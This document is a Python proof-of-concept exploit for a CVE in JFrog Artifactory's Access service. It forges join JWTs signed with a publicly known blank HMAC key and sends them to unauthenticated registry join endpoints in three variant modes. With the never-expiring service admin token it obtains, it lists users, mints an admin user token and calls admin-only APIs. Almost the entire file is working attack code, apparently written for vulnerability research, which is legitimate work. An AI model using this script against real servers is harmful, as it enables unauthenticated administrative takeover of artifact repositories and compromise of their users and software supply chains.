#!/usr/bin/env python3 """CVE-2026-82329 VARIANT PoC: alternate unauthenticated entry points reaching the same blank-join-key sink in JFrog Artifactory's Access service. Parent exploit (bundle/repro): POST /access/api/v1/registry/join (RegistryNoAuthResource.join) with an HS256 JWT signed with the publicly known blank-join-key HMAC secret (32 x 0x20). Variants tested here (same root cause, same sink JoinServiceImpl.getValidatedJwtToken -> getJoinKey -> JoinKeyAccess.getTokenSignatureVerifiers, DIFFERENT entry point / data path): A) router POST /access/api/v1/registry/join/router (RegistryNoAuthResource.joinRouter -> JoinServiceImpl.joinRouter) Second UNAUTHENTICATED endpoint in the same resource. On the vulnerable version it verifies the join JWT against the blank additional join key and returns HTTP 200 with a wrapper JWT whose "token" claim carries a never-expiring service ADMIN token. The check_url validation is skipped by simply omitting the check_url claim; node validation is satisfied with fresh node_id/node_ip claims. B) router-override Same as A but with ?override=true, exercising the override branch that skips router node-id/IP validation. C) join-kid POST /access/api/v1/registry/join with an EXPLICIT kid=sha256("") claim, exercising the kid-selected key branch of JoinKeyAccess.getRelevantJoinKeys instead of the no-kid try-all branch used by the parent exploit. Usage: exploit_join_router_variant.py Exit 0 = variant succeeded on this target (service admin token obtained and used). Exit 1 = variant blocked / target not vulnerable via this entry point. """ import base64 import hashlib import hmac import json import sys import time import urllib.request import urllib.error BASE = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8082" OUT = sys.argv[2] if len(sys.argv) > 2 else "/dev/stdout" MODE = sys.argv[3] if len(sys.argv) > 3 else "router" BLANK_KID = hashlib.sha256(b"").hexdigest() # kid of the blank join key SIGNING_KEY = b"\x20" * 32 # pkcs7("", 32) - known HMAC key def b64u(data: bytes) -> str: return base64.urlsafe_b64encode(data).rstrip(b"=").decode() def b64u_dec(s: str) -> bytes: return base64.urlsafe_b64decode(s + "=" * (-len(s) % 4)) def http(method, url, body=None, headers=None): req = urllib.request.Request(url, method=method, data=(body.encode() if isinstance(body, str) else body), headers=headers or {}) try: with urllib.request.urlopen(req, timeout=30) as r: return r.status, dict(r.headers), r.read() except urllib.error.HTTPError as e: return e.code, dict(e.headers), e.read() def log(msg): print(msg, file=sys.stderr, flush=True) def sign_join_jwt(claims: dict) -> str: hdr = {"alg": "HS256", "typ": "JWT"} si = b64u(json.dumps(hdr, separators=(",", ":")).encode()) + "." + \ b64u(json.dumps(claims, separators=(",", ":")).encode()) return si + "." + b64u(hmac.new(SIGNING_KEY, si.encode(), hashlib.sha256).digest()) def main(): run_id = str(int(time.time())) service_id = f"jfrt@cve202682329var{run_id}" node_id = "cve202682329varnode" + run_id result = {"base": BASE, "mode": MODE, "blank_kid": BLANK_KID, "signing_key_hex": SIGNING_KEY.hex(), "steps": []} def record(step, st, body, extra=None): e = {"step": step, "status": st, "body": body.decode(errors="replace")[:2000]} if extra: e.update(extra) result["steps"].append(e) log(f"[{step}] HTTP {st}") # control: anonymous token mint must always fail st, _, b = http("POST", BASE + "/access/api/v1/tokens", json.dumps({"username": "admin", "scope": "applied-permissions/admin"}), {"Content-Type": "application/json"}) record("control_anon_token_mint_must_401", st, b) claims = {"service_id": service_id, "node_id": node_id, "node_ip": "127.0.0.1", "skip_node_registration": True, "iat": int(time.time() * 1000)} if MODE in ("router", "router-override"): url = BASE + "/access/api/v1/registry/join/router" if MODE == "router-override": url += "?override=true" jwt = sign_join_jwt(claims) result["join_jwt"] = jwt st, _, b = http("POST", url, jwt, {"Content-Type": "text/plain", "User-Agent": "JFrogArtifactory/7.146.25"}) record("variant_router_join_blank_key", st, b) if st != 200: result["exploited"] = False result["blocked_at"] = "router_join" json.dump(result, open(OUT, "w"), indent=2) return 1 # response body is a wrapper JWT signed with the (blank) join key; # the inner service admin token rides in the "token" custom claim wrapper = json.loads(b64u_dec(b.decode().strip().split(".")[1])) result["wrapper_claims_excerpt"] = {k: (v[:80] + "..." if isinstance(v, str) and len(v) > 80 else v) for k, v in wrapper.items() if k != "token"} svc_token = wrapper.get("token") if not svc_token: result["exploited"] = False result["blocked_at"] = "wrapper_token_extract" json.dump(result, open(OUT, "w"), indent=2) return 1 elif MODE == "join-kid": claims["kid"] = BLANK_KID jwt = sign_join_jwt(claims) result["join_jwt"] = jwt st, _, b = http("POST", BASE + "/access/api/v1/registry/join", jwt, {"Content-Type": "text/plain", "User-Agent": "JFrogArtifactory/7.146.25"}) record("variant_join_explicit_blank_kid", st, b) if st not in (200, 201): result["exploited"] = False result["blocked_at"] = "join_kid" json.dump(result, open(OUT, "w"), indent=2) return 1 svc_token = json.loads(b)["token"] else: log(f"unknown mode: {MODE}") return 2 tok_claims = json.loads(b64u_dec(svc_token.split(".")[1])) result["service_token_claims"] = tok_claims log(f" service admin token: sub={tok_claims.get('sub')} scp={tok_claims.get('scp')}") auth = {"Authorization": "Bearer " + svc_token, "Content-Type": "application/json"} # proof of Access admin: list users st, _, b = http("GET", BASE + "/access/api/v1/users", None, auth) record("access_list_users", st, b) users_ok = st == 200 and '"admin"' in b.decode(errors="replace") # proof of platform admin: mint an admin user token and call an admin-only API st, _, b = http("POST", BASE + "/access/api/v1/tokens", json.dumps({"username": "admin", "scope": "applied-permissions/admin"}), auth) record("mint_admin_user_token", st, b) sysinfo_ok = False if st in (200, 201): admin_token = json.loads(b)["access_token"] result["admin_user_token_claims"] = json.loads(b64u_dec(admin_token.split(".")[1])) st, _, b = http("GET", BASE + "/artifactory/api/system/info", None, {"Authorization": "Bearer " + admin_token}) record("artifactory_system_info_admin_only", st, b) sysinfo_ok = st == 200 result["exploited"] = bool(users_ok and sysinfo_ok) json.dump(result, open(OUT, "w"), indent=2) log(f"mode={MODE} exploited={result['exploited']} (users={users_ok} sysinfo={sysinfo_ok})") return 0 if result["exploited"] else 1 if __name__ == "__main__": sys.exit(main())